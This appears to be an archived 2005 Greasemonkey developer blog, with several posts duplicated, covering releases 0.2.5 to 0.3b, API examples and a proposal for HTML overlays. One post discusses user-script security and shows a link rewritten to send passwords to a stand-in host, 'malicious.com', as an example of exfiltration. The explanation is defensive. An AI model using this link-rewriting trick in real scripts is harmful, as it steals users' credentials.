We've added Greasemonkey to addons.mozilla.org and are now directing all downloads to go through there. This probably means nothing to you, except that:
a) We should be able to roll out new releases of GM much faster now
b) There's a cool little download counter
Friday, May 20, 2005
Sunday, May 15, 2005
Sunday, April 24, 2005
Book Burro
Book Burro is wonderfully done work. Not only does it work well, but it's actually very visually pleasing (to my eyes, anyway). The only thing I find myself wanting is the ability to drag it around, but that's pretty minor.
Wiki Footer Fixer
Funny: Carlo Zottman, author of many user scripts indeed has added to the wiki what may be his best work yet: a greasemonkey script that modifies the greasemonkey wiki.
Saturday, April 23, 2005
Greasemonkey 0.3b Beta
Update: The XPI I posted was a) corrupted and b) not able to be served from youngpup.net (the classic XPI/mimetype issue). Sorry about the false start. Reposting now to mozdev.org. Will update again here when it is available.
If you like living on the edge, you may want to try out Greasemonkey 0.3b Beta.
The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.
If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the FAQ for details on where to find it.
As always, please report your bugs here, or on the mailing list.
If you like living on the edge, you may want to try out Greasemonkey 0.3b Beta.
The most noticeable user improvement is the addition of an "edit" button in the manage dialog and a little greasemonkey icon in the bottom right of the screen that you can use to disable GM quickly. Also, we now work on FF 1.0.3. Under the covers, developers now have access to GM_setValue and GM_getValue for persistent storage.
If you decide to try this version, please be aware that there is a pretty significant config migration that happens the first time it runs. You may want to back up your existing configuration before installing. Check the FAQ for details on where to find it.
As always, please report your bugs here, or on the mailing list.
Monday, April 11, 2005
Miscellaneous
Raddest user script yet: Lickr.
Jon Udell uses Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.
More interestingly, he laments:
I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is HTML overlays.
Were there no legacy concerns, the syntax might ideally look something like this:
<overlay insertbefore="/foo/bar[@monkey]">
<div>
... your html, css, javascript here ...
</div>
</overlay>
<overlay replace="//a">
... do something to all hyperlinks here ...
</overlay>
Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.
Of course, there's nothing stopping you from doing this:
<overlay insertafter="/html/body">
<script language="javascript">
regular GM type code here...
</script>
</overlay>
... which just shows that this would essentially be a superset of current GM functionality.
What do people think of this? I see several problems, myself:
a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.
b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.
c) Somebody will undoubtebly say that I'm overthinking things.
Jon Udell uses Greasemonkey as a DDOS platform ;-). Please be considerate with how much traffic you generate with scripts; the last thing we want is people seriously looking for ways to block GM.
More interestingly, he laments:
"there are two aspects of [writing greasemonkey scripts] that feel antiquated. One is groveling around inside Web pages -- in this case, the Bloglines and del.icio.us citation pages -- using regular expressions. The other is groveling around inside the DOM (document object model) of the page into which you're inserting instrumentation."
I cannot help with the former; that is up to web service operators to provide reasonable interfaces. On the second, what we really want is HTML overlays.
Were there no legacy concerns, the syntax might ideally look something like this:
<overlay insertbefore="/foo/bar[@monkey]">
<div>
... your html, css, javascript here ...
</div>
</overlay>
<overlay replace="//a">
... do something to all hyperlinks here ...
</overlay>
Clearly, this hasn't been totally thought out. But usually what people are doing in greasemonkey is adding, modifying, or replacing HTML. This might be easier to do with a declarative language, like, say, HTML.
Of course, there's nothing stopping you from doing this:
<overlay insertafter="/html/body">
<script language="javascript">
regular GM type code here...
</script>
</overlay>
... which just shows that this would essentially be a superset of current GM functionality.
What do people think of this? I see several problems, myself:
a) Implementing some of these overlay commands may require loading the entire DOM somewhere offline, pre-render, manipulating it, then feeding it to the renderer. This kills the progressive loading that browsers use to make page loading seem faster. It also sounds really, really hard. It would be easier to use regular expressions, instead of XPath, but that feels pretty hacky.
b) This model seems to conflict with one of GMs major current features, that it doesn't make visible markup changes to things like rich text editors. Maybe this could be gotten around by special casing RTE's and not running GM on them.
c) Somebody will undoubtebly say that I'm overthinking things.
Wednesday, March 30, 2005
Greasemonkey 0.2.6: Now with less fatal chrome bugs!
So it looks like greasemonkey 0.2.6, which fixes the major flaw in 0.2.5 that stopped some people's chrome (including forward/back buttons, tabs, and url bars) from working, is propagated across all the servers.
Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.
Sorry for all the trouble people had with the previous release. Please comment here if you continue to have problems.
Tuesday, March 29, 2005
Greasemonkey 0.2.5: b0rken
There seems to be two major problems people are experiencing: first, they don't even get 0.2.5 because the download link sends them to 0.2.4. This is great because they have no chance of experiencing the other bug if they download that version ;-). Unfortunately it seems to be that all the download mirrors still haven't propagated yet, ~12 hours after I synced them, which is a little worrisome.
The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.
Anyway, please bear with us as we get a better version uploaded. Thanks.
The second issue is that some people are having problems with their address bars with 0.2.5. I don't actually get this, so I don't think it occurs in all cases.
Anyway, please bear with us as we get a better version uploaded. Thanks.
Monday, March 28, 2005
Greasemonkey 0.2.5: XMLHTTP across domains and tool menu commands
0.2.5 is available. This was a pretty cool release because it had contributions from four different people.
GM_xmlhttpRequest - XMLHTTP across domains
Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.
Here's an example request:
GM_xmlhttpRequest({
method:"POST",
url:"http://someurl.com/monkey",
headers:["Header-A":"hotdog","Header-B","foobar"],
data:"foo=bar&hot=dog&mon=key",
onload:function(result) { alert(result.responseText) }
});
There are other options as well.
GM_registerMenuCommand - user scripts that add commands to the tools menu
You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:
GM_registerMenuCommand("My command", function() {
alert("hello, from a user script!");
});
This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.
Other random things:
GM_xmlhttpRequest - XMLHTTP across domains
Using the new global GM_xmlhttpRequest function, user script authors can make XMLHTTP requests to any domain. These type of requests used to be limited by the traditional browser sandbox of only making requests to the same domain of the current page.
Here's an example request:
GM_xmlhttpRequest({
method:"POST",
url:"http://someurl.com/monkey",
headers:["Header-A":"hotdog","Header-B","foobar"],
data:"foo=bar&hot=dog&mon=key",
onload:function(result) { alert(result.responseText) }
});
There are other options as well.
GM_registerMenuCommand - user scripts that add commands to the tools menu
You can use the new GM_registerMenuCommand function to add things to the tools menu. Here's an example:
GM_registerMenuCommand("My command", function() {
alert("hello, from a user script!");
});
This should enable many user scripts that have a component that should be executed by the user on demand, like a bookmarklet.
Other random things:
- Added an "enable all"/"disable all" feature to the greasemonkey options screen
- Fixed a bug that was preventing greasemonkey from applying user scripts to XHTML strict documents
- Removed all default scripts from installation. These were causing problems for too many people, and there's no longer any need for example scripts now that we have the repository.
Wednesday, March 23, 2005
And now for something less snarky...
Lynn asked in the comments what we think of the security concerns raised by the cnet article.
I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.
It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.
I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! Why oh why, I cried to myself, Why were these browser manufacturers so stupid? I decided to write an extension to fix this behavior in Firefox.
It was while explaining my great idea to Tony this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:
<a href="http://malicious.com/?showme=[yourpasswords]&muahahahah">
Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.
I think that people should be careful which userscripts they install on their computer. If they aren't javascript-literate, maybe they should hold off until there is a community rating system in place.
It is an important (and interesting!) problem though. And even though all my friends say it's probably impossible to solve, I'll keep tinkering with it because I'm lame that way. Perhaps an ugly hack will surface yet.
I thought about it over the weekend, eventually coming to the conclusion that the real problem was in fact the browser: browsers shouldn't let javascript initiate http requests to other domains without a user prompt. If there were no way for javascript to send data on the page to anywhere besides the originating domain, these problem wouldn't exist! Why oh why, I cried to myself, Why were these browser manufacturers so stupid? I decided to write an extension to fix this behavior in Firefox.
It was while explaining my great idea to Tony this morning that I first realized it would still be vulnerable to the oldest exploit of all: the hyperlink. Even if I blocked all javascript initiated communication completely, nothing stops javascript from changing all the hyperlinks on the page to point to:
<a href="http://malicious.com/?showme=[yourpasswords]&muahahahah">
Then all it takes is one click and your passwords are stolen. Bollocks. Back to the drawing board.
Subscribe to:
Posts (Atom)
